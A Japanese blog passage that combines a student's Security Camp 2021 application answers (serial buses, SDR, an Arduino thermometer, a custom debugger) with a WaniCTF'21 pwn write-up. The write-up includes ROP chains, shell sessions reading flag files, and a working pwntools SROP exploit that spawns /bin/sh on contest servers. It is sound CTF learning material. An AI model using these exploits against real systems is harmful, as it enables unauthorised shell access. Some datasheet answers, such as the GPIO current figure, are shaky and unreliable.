セキュリティ・キャンプ全国大会2021 応募課題

セキュリティ・キャンプ全国大会2021のリバースエンジニアリングゼミに参加することになりました。最初で最後の応募だったのでとてもうれしいです。

参加を目指す方への先行のポイントに「できるだけ多く」とあったのでたくさん書きました。ただ、結構間違ってる部分があると思います(特に(3)とか)。

(0)リバエンゼミ、IoTものづくりゼミのどちらの受講を希望しますか?Xトラックの2つのゼミを併願することもOKですが、その場合はどちらが優先かを明記してください。

第1希望: リバエンゼミ
第2希望: IoTものづくりゼミ

(1)以下の技術用語について解説してください。またどのようなところで使われているかも述べてください。わからない場合は調べて、自分なりに解釈した結果を述べてください。「オームの法則」「UART」「SPI(Serial Peripheral Interface)」「I2C(I-squared-C)」「ソフトウェア無線(SDR)」

  • オームの法則
    一定の長さと太さの一様な導体上の2点間に電位差Vがあるとき、この導体には電位が高い点から低い点に向かって電流が流れる。このときに流れる電流Iは、2点間の電位差Vに比例し、V = RIの関係が成立する。比例定数Rは抵抗で、2点間の長さに比例し、導体の断面積に反比例する。また、導体内の微小領域において、電流密度の大きさをi、電位差によって生じる電場の大きさをEとすると、i = σEの関係が成立する。これは、導体内のすべての点で成り立つため、一様でない導体であっても足し合わせることでその導体の抵抗が定まる。
    電子論によってオームの法則を導く。電子の質量をm、その電荷をeとする。この電子は、導体内に分布する電場Eの作用により加速する。導体内で運動している電子は、導体を構成している電子や不純物と衝突し減速する。この衝突回数は電子の速度vに比例する。したがって、ある衝突から次の衝突までの平均時間をτとすると、導体内での運動方程式は m(dv/dt) = eE - (m/τ)vで表される。電子の動きが定常的になるとき、dv/dt = 0となるから v = (eτ/m)Eとなる。ここで導体の単位体積中に存在する自由電子の数をnとすると、単位時間に単位面積の断面を通過する電気量はenvであるから、電流密度iは i = env = (ne2τ/m)Eとなる。σ = ne2τ/mとおくと、i = σEが導かれる。σが電場の強さによらず一定であるため、オームの法則は金属と合金ではよく成り立つ。 ほとんどの電気回路で使われている法則である。

参考文献
砂川重信 (2019) 『電磁気学 -初めて学ぶ人のために-』 培風館
原康夫 (2019) 『物理学基礎』 学術図書出版社

  • UART
    Universal Asynchronous Receiver/Transmitterの頭文字で、速度を設定でき、非同期なシリアル通信を使用する、2つのデバイス間の通信プロトコルである。双方向の通信をする場合、送信機と受信機の間の2本のワイヤを使用して、ビット単位でデータを送受信する。通信方式には、一方向のみにデータを伝送する単向通信、双方向で通信できるが送受信を同時に行えない半二重通信、送受信を同時に行える全二重通信の3つがある。各デバイスには信号をやり取りするトランスミッタ(TX)とレシーバー(RX)がある。2つのデバイス間で通信するとき、送信側のデバイスにはデータを送信するデータバスが接続される。送信側のデータがワイヤを介して受信側のデバイスにビットごとに送信される(TX -> RX)。受信側のデバイスは、データを変換してデータバスに渡す。このとき、2つのデバイスでボーレートといわれる情報を転送する速度を同じ値にする必要がある。データの伝送はパケット方式で行われる。パケットは開始ビット、データフレーム、パリティビット、停止ビットからなる。データの転送を開始する際に送信側の開始ビットをハイからローに遷移させることで、受信側がそれを検出しデータフレームの読み出しが開始される。データフレームは開始ビットの直後に続き、パリティビットを使用する場合は最大9ビット、使用しない場合は5~8ビット使用される。パリティビットはデータフレームの直後の1ビットを使用してエラーを検出するために用いられる。これには、フレーム内の1の総数を偶数にする偶数パリティと奇数にする奇数パリティがある。停止ビットは1~2ビットを使用して、パケットの終わりを知らせる。
    CPUと周辺機器との通信の際に用いられ、主にコンピュータ機器、組み込みシステム、マイクロコントローラで活用されている。また、ルータなどの基盤にUARTの接続口があると未認証でシェルにアクセスできる可能性が高く、設定したパスワードなどのデバッグ情報が漏洩することがある。

参考文献
https://www.analog.com/jp/analog-dialogue/articles/uart-a-hardware-communication-protocol.html
https://www.rohde-schwarz.com/jp/products/test-and-measurement/oscilloscopes/educational-content/understanding-uart_254524.html
黒林檎、村島正浩 (2018) 『ハッカーの教科書 IoTハッキングの教科書』 データハウス

  • SPI
    Serial Peripheral Interfaceの頭文字で、コンピュータ内の通信に用いられるインターフェースの1つである。デバイスにはマスタとスレーブがあり、1つのマスタに対して複数のスレーブを接続することが出来る。一般的にはクロック(SPICLK)、チップ・セレクト(CS)、マスタ出力/スレーブ入力(MOSI)、マスタ入力/スレーブ出力(MISO)の4本の信号線で構成されている。クロック信号を生成する方をマスタと呼び、マスタとスレーブの間で送信されるデータは、クロックと同期している。100MHz程の高いクロック周波数に対応し、高速で通信することができる。マスタからのチップ・セレクト信号はスレーブの選択に使用され、スレーブを切り離したい場合はハイにする。複数のスレーブを接続するには各スレーブに対して個別のチップ・セレクト信号を送信する必要がある。通信を開始するには、マスタからクロック信号を送信するとともに、チップ・セレクト信号によりスレーブを選択する。マスタとスレーブはMOSIとMISOによって、シリアルにデータをシフトさせて出力することとデータを読み出すことを同時に行うことが出来る。また、マスタはクロックの極性と位相を選択できる。アイドル状態におけるクロック信号の極性を設定するCPOLビットとクロック信号の位相を選択するCPHAビットがあり、これらの組み合わせによりモードが決まる。スレーブに適合するように設定する必要がある。 コンピュータ内のマイクロコントローラ間の通信やフラッシュメモリなどで使われている。

参考文献
https://www.analog.com/jp/analog-dialogue/articles/introduction-to-spi-interface.html
https://learn.sparkfun.com/tutorials/serial-peripheral-interface-spi/all
https://manual.atmark-techno.com/armadillo-guide-std/armadillo-guide-std-hardware-expansion_ja-1.0.0/ch06.html

  • I2C
    Inter-Integrated Circuitの略で、オランダのフィリップス社が提唱したコンピュータ内やコンピュータ間の通信に用いられるインターフェースの1つである。デバイスにはマスタとスレーブがあり、1つのマスタに対して複数のスレーブを接続することができる。シリアルデータ(SDA)通信とシリアルクロック(SCL)信号の2つの信号を使う。マスタがシリアルクロック信号を生成し、この信号に同期してシリアルデータ信号でマスタとスレーブが双方向に通信を行う。スレーブには固有のアドレスが割り振られ、マスタがそのアドレスを指定してスレーブと通信を行う。最大3.4Mbpsで通信することができる。通信には、アドレスフォーマットとデータフォーマットがあり、アドレスフォーマットには7ビットモードと10ビットモードがある。7ビットモードの場合、通信を始めるときマスタはスレーブに対して、SCL信号がHighのときにSDA信号をHighからLowにすることでスタートコンディションを発行し、スレーブアドレスとRead/Writeコマンドを送信する。スレーブはそのアドレスが自分のものと一致するかを調べ、一致しない場合は待機状態になり、一致した場合はRead/Writeコマンドに従ってマスタとやりとりする。Readの場合、スレーブはACKを返した後に続けてマスタにデータを送信し、マスタはデータを受信した後にNAKを返す。Writeの場合は、スレーブがACKを返した後にマスタはデータを送信し、データを受信した後にスレーブはACKかNAKを返す。最後にマスタがスレーブに対して、SCL信号がHighのときにSDA信号をLowからHighにすることでストップコンディションを発行し、スレーブは待機状態になって通信が終了する。
    I2Cは低消費電力で通信できるため、様々なセンサや集積回路、マイクロコントローラに用いられている。

参考文献
https://www.digikey.jp/ja/articles/why-the-inter-integrated-circuit-bus-makes-connecting-ics-so-easy
https://www.kumikomi-kaihatu.com/technical-column/column-018/
https://emb.macnica.co.jp/articles/8191/
http://www.picfun.com/c15.html

  • ソフトウェア無線 (SDR)
    Software Defined Radioの略で、無線通信システムの機能をソフトウェアによるデジタル信号処理でハードウェアを変更せずに複数のシステムに対応できるようにすることである。一般的にソフトウェア無線機は、アナログ高周波部、変換部(A/D、D/A)、デジタル信号処理部から構成される。アナログ高周波部は、アナログの高周波(RF)信号を扱う部分である。受信側では受信したRF信号を周波数変換によってデジタル信号処理ができるベースバンド受信信号に変換する。送信側ではベースバンド送信信号を周波数変換してRF信号を送信する。変換部の受信側ではアナログのベースバンド受信信号をデジタルのベースバンド信号に変換(A/D)し、送信側ではデジタルのベースバンド信号をアナログのベースバンド送信信号に変換(D/A)する。デジタル信号処理部は、デジタルのベースバンド信号を処理する。デジタル変復調、符号化・復号化などの機能を持たせることができる。この機能をソフトウェアで柔軟に変更できるように、ハードウェアにはFPGADSPのような再構成できるものを用いる。以前は無線機を作るために専用のハードウェアや多くの工数とコストが必要だったが、ソフトウェア無線を用いることで手軽に開発できるようになり、コストを抑えられるようになった。
    SDRは、FMラジオ、テレビ、衛星通信、LTEなどのデジタル無線通信、GPSなど様々な分野で応用されている。

参考文献
https://jp.mathworks.com/discovery/sdr.html
https://www.fujitsu.com/jp/group/mtc/technology/course/sdr/
https://www.ituaj.jp/wp-content/uploads/2017/11/2017_11-05-Spot-SDR.pdf

(2)電気には直流と交流があります。どちらが感電したときに危険だと思いますか?その理由と一緒に説明して下さい。また感電はどんな工夫をすれば防げるでしょうか、思いつく限り多く挙げてください。

直流は常に一定の電圧で一定の向きに電流が流れます。一方交流は一定の周期で電圧と電流の向きが変化します。また、人の心臓は規則的に収縮して全身に血液を送り出しています。直流に感電した場合は筋肉が収縮します。交流に感電した場合は周期的な変化により心臓の収縮のリズムが崩れて全身に血液が送られなくなります。血液が送られなくなると呼吸が出来なくなったり、脳が機能しなくなり意識がなくなります。よって、交流の方が直流よりも危険だと思います。
以下のような対策が考えられます。

  • 濡れた状態で触らない
    感電したときの電流の大きさはオームの法則により電圧/抵抗で求められます。濡れた状態で触ることで抵抗が小さくなり流れる電流が大きくなります。
  • 電流が流れる部分をむき出しにしない
    電流が流れる部分を直接触れないように、被覆するべきです。
  • 壊れたものは使わない
    壊れた部分から漏電する可能性があります。
  • 接地する
    接地することで電流を地面に逃がすことができます。
  • 漏電ブレーカー
    漏電を検知することで感電を防ぎます。
  • ゴム製のものを身につける
    ゴムは電気を通しません。
  • 作業するときは肌を露出しないようにする
    電流が流れる部分を直接触れないようにします。

(3)このデータシートから、以下の情報を読み取ってください。

データシートURL:https://www.espressif.com/sites/default/files/documentation/esp32-wroom-32_datasheet_en.pdf

  • この機器は日本で使用できますか?(ヒント:技適
    番号211-161007で技適が取得されているため、日本で使用できる。
  • 電源電圧と電源ピンのピン番号はそれぞれいくつですか?
    電源電圧: 3.0V~3.6V 電源ピン: 2
  • この機器でSPI通信は使用できますか?
    4MBのSPI flashがあるためできる。
  • この機器に搭載されている水晶振動子の発振周波数はいくつですか?
    40MHz
  • GPIO 1ポートから最大何mAまでの電流を出力できますか?
    1100mA
  • GPIOに5.0Vを入力しようと思います。この機器は正常に動作しますか?
    入力電圧の絶対最大定格は3.6Vであるため、正常に動作しない。

(4)IoT温度計を作りたいと考えています。あなたならどう作りますか。できるだけ具体的に説明してください。必要に応じて図などを使ってもOKです。説明の中に、あなたのこだわりポイントを入れて説明してください。

家にあった部品で実際に作ってみました。以下の部品とマイコンを使います。

  • Arduino UNO
  • LED 1つ
  • LCD 1602A
  • LM35DZ (温度センサ)

まず、図のような回路を組みます。
f:id:shirataki64225:20210614155009p:plain
次にArduinoに以下のスケッチを書き込みます。

#include <LiquidCrystal.h>

LiquidCrystal lcd(4, 6, 10, 11, 12, 13);
const int SENSOR = 5;
const int LED = 2;

void setup() {
  Serial.begin(9600);
  pinMode(LED, OUTPUT);
  lcd.begin(16, 2);
}

void loop() {
  int val = analogRead(SENSOR);
  float temp = val * (5.0 / 1023.0) * 100;
  if(temp < 30) digitalWrite(LED, LOW);
  else digitalWrite(LED, HIGH);
  lcd.clear();
  lcd.setCursor(0, 0);
  lcd.print(temp);
  if(temp < 10.0) Serial.print(0);
  Serial.println(temp);
  delay(1000);
}

まず、setup()内でシリアル通信とLEDが繋がっているピンとLCDの設定をします。loop()内では、まず温度センサの値を読み取り適切な値に変換します。analogRead()は0から5Vの電圧を0から1023に対応させるため、スケッチのような変換が必要になります。変換した値が30よりも小さい場合はLEDをOFFに、大きい場合はONにするようにします。次にLCDとシリアルポートに変換した値を書き込みます。シリアルポートに書き込むとき、値が10よりも小さい場合は、文字数の関係で正確に表示されなくなるため、0を先に書き込んでおきます。
次にArduinoと繋ぐサーバ(PC)で以下のPythonプログラムを実行します。

from flask import *
import serial

app = Flask(__name__)
ser = serial.Serial('COM3', 9600)

@app.route('/')
def index():
    temp = ser.read(7).decode()[:-2]
    return render_template('index.html', temp = temp)

if __name__ == "__main__":
    app.run(host="0.0.0.0")

flaskというWebアプリケーションフレームワークを用いてWebサーバを立ち上げます。アクセスしたときにシリアルポートの値を読み取ってindex.htmlに渡します。templatesディレクトリ下に以下のようなindex.htmlを作成します。

<!DOCTYPE html>
<html>
    <body>
        {{ temp }}
    </body>
</html>

受け取った値を表示するだけです。
この温度計は、室内で使うことを想定していて、離れたところからはWebページで温度を確認でき、近くからはLCDに表示される値で確認することができます。こだわりポイントは、30℃以上になった場合は危険を知らせるためにLEDが点灯するところです。

(5)今までにリバースエンジニアリング(分解や解析など)した経験、またはものづくりした経験を好きなだけ語って下さい。対象はソフトウェアやハードウェアに限定しません。

  • Windowsのデバッガ
    32ビットのWindowsプログラム用のデバッガを作ったことがあります。普段使っているデバッガの動作原理が気になり、実際に作ってみることにしました。レジスタの値を表示する機能とブレークポイントを設定する機能をPythonで実装しました。以下で簡単に説明させて頂きます。
    まず、CreateProcessA()でデバッガの制御下でプロセスを生成するか、DebugActiveProcess()にプロセスのPIDを渡すことで実行中のプロセスにアタッチします。ループ中でWaitForDebugEvent()を呼び出すことでデバッグイベントを捕捉でき、イベントハンドラによる処理が完了したときContinueDebugEvent()によってプロセスの実行を再開します。WaitForDebugEvent()は、この関数に渡すDEBUG_EVENT構造体に情報を設定します。このDEBUG_EVENT構造体のdwDebugEventCodeによって共用体uの型と値が決まり、この値のそれぞれにイベントハンドラを設定します。最後にDebugActiveProcessStop()でデバッガからプロセスを切り離します。また、ほとんどの関数でプロセスのハンドルが必要になるためOpenProcess()にプロセスのPIDを渡して取得します。 レジスタの状態を捕捉するには、まずデバッグ対象のプロセス中で実行されているスレッドのハンドルが必要です。これは、OpenThread()にTIDを渡すことで取得できます。次にCreateToolhelp32Snapshot()でプロセスで実行中の全てのスレッドを取得し、Thread32First()とThread32Next()でそれらを列挙します。最後にGetThreadContext()で全レジスタの値を取得します。
    ソフトウェアブレークポイントは、1バイトの命令によってプロセスの実行を停止します。あるアドレスにブレークポイントを設定するとき、ReadProcessMemory()でそのアドレスのメモリの最初の1バイトを読み取ってリストに保存し、WriteProcessMemory()で割り込み3の命令を表す1バイトに書き換えます。ブレークポイントに到達したとき、このアドレスがブレークポイントのリストに存在するかを確認し、存在する場合は保存してある1バイトを復元します。
    ハードウェアブレークポイントは、DR0からDR7の8つのデバッグレジスタを使用して設定します。DR0からDR3はブレークポイントのアドレスを保持し、DR6はブレークポイントに到達したときに引き起こされたデバッグイベントのタイプを決定し、DR7はブレークポイントの条件を保持します。CPUは命令を実行する前に、そのアドレスに対してハードウェアブレークポイントが設定されていないかを確認し、そのアドレスがDR0からDR3のいずれかに格納されていてDR7で設定された条件を満たす場合、割り込み1を引き起こし、CPUは実行を停止します。その後、各レジスタをクリアしCPUは次の命令を実行します。
    デバッガを作ることにより、プロセスの起動や中断の方法、ブレークポイントの仕組み、レジスタやメモリを操作する方法、プロセスで発生した例外を捕捉する方法などたくさんのことを知れてとても勉強になりました。今後はディスアセンブルの機能をつけたいと考えています。また、他のアーキテクチャのデバッガも作ってみたいです。

  • ELFファイル
    私は趣味でCTFに参加していてPwnと呼ばれるバイナリを解析して脆弱性を探し、脆弱性を使って攻略するという分野の問題をよく解いています。ELFファイルはPwnでよく出題されるため、今までたくさん解析してきました。主にGDB、objdump、Ghidra、readelfなどのツールを使い解析をします。特にGDBはよく使っていて、アセンブラを読んだり、プログラムによってどのようにメモリが使われるのかを解析してきました。Ghidraは主にデコンパイルするときに使っています。また、ELFファイルの解析を通して、プログラムの脆弱性について理解しました。例えば、リターンアドレスを書き換えることで任意のアドレスに処理を移すことができる原理や、mallocやfreeなどのlibcの関数の処理を悪用することによる攻撃の手法について理解しました。これに伴いNX、RELRO、Stack Canary、PIEなどのプログラムのセキュリティ機構についても理解しました。ここで先日開催されたSECCON Beginners 2021で実際に出題された問題を解いたときの手段、方法について紹介させて頂きます。
    beginners_rop
    以下のようなアセンブラのmain関数を持つプログラムが与えられます。

   0x0000000000401196 <+0>:     endbr64 
   0x000000000040119a <+4>:     push   rbp
   0x000000000040119b <+5>:     mov    rbp,rsp
   0x000000000040119e <+8>:     sub    rsp,0x100
   0x00000000004011a5 <+15>:    lea    rax,[rbp-0x100]
   0x00000000004011ac <+22>:    mov    rdi,rax
   0x00000000004011af <+25>:    call   0x401090 <gets@plt>
   0x00000000004011b4 <+30>:    lea    rax,[rbp-0x100]
   0x00000000004011bb <+37>:    mov    rdi,rax
   0x00000000004011be <+40>:    call   0x401070 <puts@plt>
   0x00000000004011c3 <+45>:    mov    eax,0x0
   0x00000000004011c8 <+50>:    leave  
   0x00000000004011c9 <+51>:    ret    

gets関数でスタックの領域に入力を書き込むことがわかります。gets関数は引数に書き込む領域だけを指定して、書き込むサイズは指定しません。書き込むサイズを指定しないと無限に入力ができることになります。今回の例で実際に無限に入力を行うとスタックにあった値を書き換えることになります。
関数が呼ばれるとき、関数の処理が終了したときに呼び出し元に戻れるようにリターンアドレスをスタックに書き込みます。このリターンアドレスを書き換えることで関数の処理が終了したときに任意のアドレスに処理を移動させることができます。今回の例ではrbp+0x8の位置にリターンアドレスがあります。GDBを使うことで以下のように確認できます。

gdb-peda$ x/gx $rbp+0x8
0x7fffffffde58: 0x00007ffff7df30b3
gdb-peda$ x/i 0x00007ffff7df30b3
   0x7ffff7df30b3 <__libc_start_main+243>:      mov    edi,eax

rbp+0x8にある値を表示し、その値は__libc_start_main+243のアドレスということがわかります。
ここではgets関数で0x108文字以上書き込むことでリターンアドレスが書き換えられることがわかります。このようにリターンアドレスを書き換えることで任意のアドレスに処理を移動させ、最終的にはシェルを起動させることができます。

  • Webアプリケーション

    • https://secret-anchorage-46949.herokuapp.com/
      ToDoリストを開発しました。フロントエンドの開発の経験なかったため、練習で作ってみました。JavaScriptのライブラリであるReactとCreate React Appという学習するための開発環境とMaterial-UIというReactのデザイン用のツールを用いました。Reactはチュートリアルをやったり、書籍などを参考にして学習しました。また、プラットフォームを用いてアプリケーションを公開しました。アプリケーションの公開がなかなかうまくいきませんでしたが、インターネットの情報を参考にしてなんとか公開できました。出来たアプリを友人にみせたところ、好評だったので嬉しかったです。この開発を通して、アプリケーションの公開の方法やフロントエンドの開発手法について学ぶことができました。

    • https://desolate-wildwood-19344.herokuapp.com/
      オンラインコンパイラを開発しました。paiza.ioのAPIを用いました。当時競技プログラミングを練習しているときに、オンラインコンパイラというものを知り、興味があったので実際に開発してみました。最初実装は難しいと思っていたのですが、APIを使うことで実装を簡略化できることを知り、とても驚きました。このほかにも様々なAPIがあることを知って、いろいろ使って面白いアプリを作ってみたいと思いました。

  • LINEBOT
    スケジュールをリマインドしてくれるLINEBOTを開発しました。Google Apps Script(GAS)を用いました。サークルのLINEグループで、日程を手動で告知していたので、それを自動化するために開発しました。Googleカレンダーに登録した日程を前日にリマインドする機能を実装しました。当時BOTを作ったことがなかったため、とても苦戦しましたがAPIの使い方などいろいろなことを学べたと思います。このとき初めてGASを使ったのですが、カレンダーのほかにも様々なGoogleサービスを操作できることを知り、他にもいろいろ効率化することが出来そうだと思いました。また、実際に使ってもらえて嬉しかったです。

(6)あなたが今一番リバースエンジニアリング(分解して仕組みが知りたい)したいもの、またはものづくりしたいものを紹介して下さい。

ネットワークカメラをリバースエンジニアリングしてみたいです。理由は主に2つあります。1つ目は、ハードウェアのリバースエンジニアリングの経験がほとんどないからです。今までソフトウェアの解析ばかりやってきたので、ハードウェアを解析してみたいです。ハードウェアを解析することで、デバイスがどのような仕組みで動いてるか、ソフトウェアとどのように連携しているかなど様々なことを知れると考えています。2つ目は、ネットワークカメラの仕組みが気になったからです。どのようにカメラで撮影した映像や画像にネットワークからアクセスするのか、どのようにネットワークからカメラを操作するのか、どのように動作を検知するのか、どのように自動で追尾するのかなどに興味があります。
ネットワークカメラはネットワークからアクセスできるようにする必要があるため、Webサーバーが搭載されることが多いです。Webサーバーにアクセスすることで、ネットワークカメラの設定をしたり、ユーザーとパスワードを設定したりします。このWebページを解析することで、ネットワークからアクセスする仕組みや脆弱性がどのように悪用されるかなどを知れると思います。
バイスにはハードウェアを制御するファームウェアが内蔵されています。近年、このファームウェアを狙うサイバー攻撃が増えてきています。脆弱性を悪用することでファームウェアが改ざんされたり、ハードウェアが乗っ取られたりすることがあります。ファームウェアを解析することで、ネットワークカメラが動く仕組みやどのようにしてサイバー攻撃がされ、それをどのように防ぐのかを知れると思います。

(7)何か他にアピールしたいことがあれば、自由に書いてください。誤ったことを書いていても減点はしません。書いておきたいことはなんでも書いてください。

私は大学でデバイスや電子情報システムの基礎となる理論やシステムの開発に必要な基礎知識について学んでいます。今まで電磁気学、電気回路、信号処理などを履修してきました。
電気回路では、回路の解析方法や、オペアンプトランジスタなどの電子部品の特性などを学びました。回路の解析では、ラプラス変換微分方程式を用いた回路方程式の解き方、過渡現象、周波数応答などを学びました。シミュレーターを用いて電気回路の周波数解析、時間解析をしたこともあります。また、オペアンプを用いた反転増幅回路、非反転増幅回路や発振器、加算回路などの演算回路をシミュレーターで解析し、オペアンプの特性について理解しました。トランジスタについても同様に、エミッタ接地回路をシミュレーターで解析し、トランジスタの特性やトランジスタによってどのように入力が増幅されるのかを理解しました。
信号処理では、信号の変換や加工の仕方について学んでいます。フーリエ変換を用いた周波数解析の手法を理解しました。実際にDFT(離散フーリエ変換)のプログラムを実装し、デジタル信号をサンプリングしたことがあります。また、ハミング窓を実装したり、音声データで対数パワースペクトルを求めることによるスペクトル解析をしたことがあります。
今回応募した理由は主に2つあります。1つ目は、自身の技術力を向上させたいと思ったからです。セキュリティキャンプは、専門家や技術者の方から技術について教えて頂くことができる貴重な機会だと思っています。私は今まで独学でサイバーセキュリティを主に様々なことを学んできましたが、独学ゆえに偏った知識や未熟な点がまだ多くあると思っています。セキュリティキャンプを通して、新たな知識やものの見方のようなものを得て、自身の技術力を向上させ、可能性を広げていきたいと考えています。2つ目は、ものがどのように動くのかに興味があるからです。私はコンピュータがどのように動くのか気になって、低レイヤと呼ばれるデバイスなどの基本的な制御を行うシステムプログラムの勉強し始めました。大学で現在の学科を選択した理由にもこのことが大きく関わっています。XトラックではIoT機器を分解、解析したり実際に作ったりできると伺いました。特にリバエンゼミでは無線通信の解析を行うと伺いました。今まで無線通信の解析をすることはあまりなかったので、とても興味があります。セキュリティキャンプはそういった自分が知らなかったことを知れるいい機会だとも思っています。解析やものづくりを通してデバイスが動く仕組みについて理解していきたいと考えています。

まとめ

(1)は知識がほとんどなかったので調べながら書きました。
(2)は感電について調べていたら「殺人の教科書」というサイトを見つけて怖かったです。
(3)は自信ないです。当たってるのかな🤔
(4)はラズパイを使いたかったのですが、手元になかったのでArduinoにしました。Web開発わからないのでWebアプリの実装は雑です。
(5)は「リバースエンジニアリング」という本を読んで実装したデバッガについて書きました。CTFの問題の解説はもっと書けたのですが、とても長くなりそうなのでやめておきました。WebアプリとLINEBotはおまけみたいなものです。
(6)は「IoTハッキングの教科書」という本を眺めて面白そうだと思ったものを選びました。
(7)の前半は、大学で最近やった実験についてです。レポートのストレスを少し発散しました。後半はポエムです。

WaniCTF'21-spring Writeup

今年もWaniCTFに参加しました。昨年のWriteup
PwnとReversingだけ解きました。とても楽しかったです。
f:id:shirataki64225:20210502224344p:plain

Pwn

01 netcat

ncするとシェルが起動してます。

$ nc netcat.pwn.wanictf.org 9001
congratulation!
please enter "ls" command
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this_is_the_same_netcat_problem_as_previous_one}
exit

flag: FLAG{this_is_the_same_netcat_problem_as_previous_one}

02 free hook

int main() {
  init();

  __free_hook = system;

  while (1) {
    command();
    list_memos();
  }
}

__free_hooksystemで書き換えられています。
これによってfreeが呼び出されたときにsystemが呼び出されます。
よって, /bin/shのアドレスを引数にfreeを呼び出せば, system("/bin/sh")が呼び出されることになります。
add memoで/bin/shを書き込んでdel memoすればシェルが起動します。

$ nc free.pwn.wanictf.org 9002
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
exit

flag: FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

03 rop machine easy

ROPを練習するツール。すごい。
使い方を参考にROPします。
x86_64なので第1引数をRDIに書き込みます。

$ nc rop-easy.pwn.wanictf.org 9003

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this-is-simple-return-oriented-programming}
exit

flag: FLAG{this-is-simple-return-oriented-programming}

04 rop machine normal

easyと同様にしてexecve("/bin/sh", 0, 0)を実行します。
第2引数はRSI, 第3引数はRDXに書き込みます。
RAXにsyscall番号0x3bを書き込んでsyscallすることで実行されます。

$ nc rop-normal.pwn.wanictf.org 9004

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 5
"pop rax; ret" is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 6
"syscall; ret" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret       |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{now-you-can-call-any-system-calls-with-syscall}
exit

flag: FLAG{now-you-can-call-any-system-calls-with-syscall}

05 rop machine hard

Gadgetのアドレスを調べます。

$ ROPgadget --binary ./pwn05

使うアドレスは以下のようになりました。

pop rdi = 0x000000000040128f
pop rsi r15 = 0x0000000000401611
pop rdx = 0x000000000040129c
pop rax = 0x00000000004012a9
syscall = 0x00000000004012b6
binsh = 0x0000000000404078

normalと同様にROP chainを組みます。

$ nc rop-hard.pwn.wanictf.org 9005

[menu]
1. append hex value
8. show menu (this one)
9. show rop_arena
0. execute rop
> 1
hex value?: 0x000000000040128f
0x000000000040128f is appended
> 1
hex value?: 0x0000000000404078
0x0000000000404078 is appended
> 1
hex value?: 0x0000000000401611
0x0000000000401611 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0x000000000040129c
0x000000000040129c is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0x00000000004012a9
0x00000000004012a9 is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 1
hex value?: 0x00000000004012b6
0x00000000004012b6 is appended
> 0
     rop_arena
+--------------------+
| 0x000000000040128f |<- rop start
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012a9 |
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}
exit

flag: FLAG{y0ur-next-step-is-to-use-pwntools}

06 SuperROP

BOFがあります。ただ, Gadgetがあまりないためこれまでの問題のようにROP chainは組めません。
RAXに0xfを書き込めるGadgetがあるためSROPをします。
buffのアドレスが表示されるため, /bin/shbuffに書き込んで, RDIにbuffのアドレスをセットします。

from pwn import * 

# p = process('pwn06')
p = remote('srop.pwn.wanictf.org', 9006)
e = ELF('pwn06')
context.binary = e

syscall = 0x40117e
mov_rax = 0x40118c

p.recvuntil('buff : ')
buff = int(p.recvline()[:-1], 16)
print(hex(buff))

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = buff
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = b'/bin/sh\x00'
payload += b'A' * 0x40
payload += p64(mov_rax)
payload += p64(syscall)
payload += bytes(frame)

p.sendline(payload)

p.interactive()

flag: FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

07 Tower of Hanoi

以下の条件を満たせばフラグが表示されます。

int is_solved(int (*rod)[HANOI_SIZE]) {
  if (rod[0][HANOI_SIZE - 1] == 0 && rod[1][HANOI_SIZE - 1] == 0 &&
      rod[2][HANOI_SIZE - 1] == HANOI_SIZE)
    return 1;
  else
    return 0;
}

rod[1][HANOI_SIZE - 1]は条件を満たしているため, rod[0][HANOI_SIZE - 1]rod[2][HANOI_SIZE - 1]を何とかします。

    if (abs(src) > 2 || abs(dst) > 2) {  // ???
        printf("That rod isn't where you can access!\n");
        return;
    }

絶対値になっているため, srcdstを-1か-2にできます。
それによって, 以下で範囲外にアクセスできます。

    if (rod[dst][pivot[dst]] != 0) pivot[dst]--;
    rod[dst][pivot[dst]] = rod[src][pivot[src]];
    rod[src][pivot[src]] = 0;

各配列の位置関係は以下のようになっています。

0x7fffffffdc30: 0x0000000000000000      0x00007ffff7e60013
